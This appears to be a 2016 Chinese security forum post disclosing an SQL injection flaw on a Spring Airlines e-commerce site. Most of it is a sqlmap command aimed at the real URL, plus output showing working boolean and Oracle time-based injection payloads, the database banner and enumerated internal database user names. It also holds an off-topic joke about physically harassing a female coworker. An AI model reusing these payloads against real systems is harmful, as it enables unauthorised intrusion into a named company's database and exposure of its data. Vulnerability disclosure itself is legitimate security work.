HanDs
管理员

[7月漏洞公开] 航空行业安全之春秋航空某站点SQL注入 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

上班无聊跟同事聊天,她打了个哈欠,嘴张得老大,我下意识的用手指插她嘴里,并大喊了一句:“老子爆你菊!”结果把人家给整哭了…奇葩的是她给她老公发微信这么说的:“二逼六哥跟我闹玩,把我怼出血了,疼得我都哭了,他还要爆我菊…”卧槽,这我下班都从特么食堂后门跑的!至于么

详细说明:

code 区域
听说你们送飞机,一直以来都是*飞机...忽然感觉好别扭

$ python sqlmap.py -u "http://mall.ch.com/product/search?name=%E5%A4%A9%E5%B0%A7%E6%95%B0%E7%A0%81" --level 3 --risk='3' --dbms='oracle' --banner --dbs --users
_
___ ___| |_____ ___ ___ {1.0.3.9#dev}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 11:42:37

[11:42:37] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: name=%E5%A4%A9%E5%B0%A7%E6%95%B0%E7%A0%81') OR NOT 9023=9023 AND ('sIdv' LIKE 'sIdv

Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: name=%E5%A4%A9%E5%B0%A7%E6%95%B0%E7%A0%81') AND 5155=DBMS_PIPE.RECEIVE_MESSAGE(CHR(87)||CHR(98)||CHR(121)||CHR(70),5) AND ('geBH' LIKE 'geBH
---
[11:42:37] [INFO] the back-end DBMS is Oracle
[11:42:37] [INFO] fetching banner
[11:42:37] [INFO] resumed: Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - 64bit Production
web application technology: JSP
back-end DBMS: Oracle
banner: 'Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - 64bit Production'
[11:42:37] [INFO] fetching database users
[11:42:37] [INFO] fetching number of database users
[11:42:37] [INFO] resumed: 53
[11:42:37] [INFO] resumed: WIREREAD
[11:42:37] [INFO] resumed: PRT
[11:42:37] [INFO] resumed: SESSIONUSER
[11:42:37] [INFO] resumed: CQSSS
[11:42:37] [INFO] resumed: CQNET
[11:42:37] [INFO] resumed: CQCMS
[11:42:37] [INFO] resumed: F1USER
[11:42:37] [INFO] resumed: CQNETHK
[11:42:37] [INFO] resumed: CQSSSHK
[11:42:37] [INFO] resumed: CQLOVE
[11:42:37] [INFO] resumed: SESSION

漏洞证明:

code 区域
库很多,我不跑完了,延时注入断断续续的...

chunqiu.png

修复方案:

过滤单引号 + waf


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
航空 幸蛋踩
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复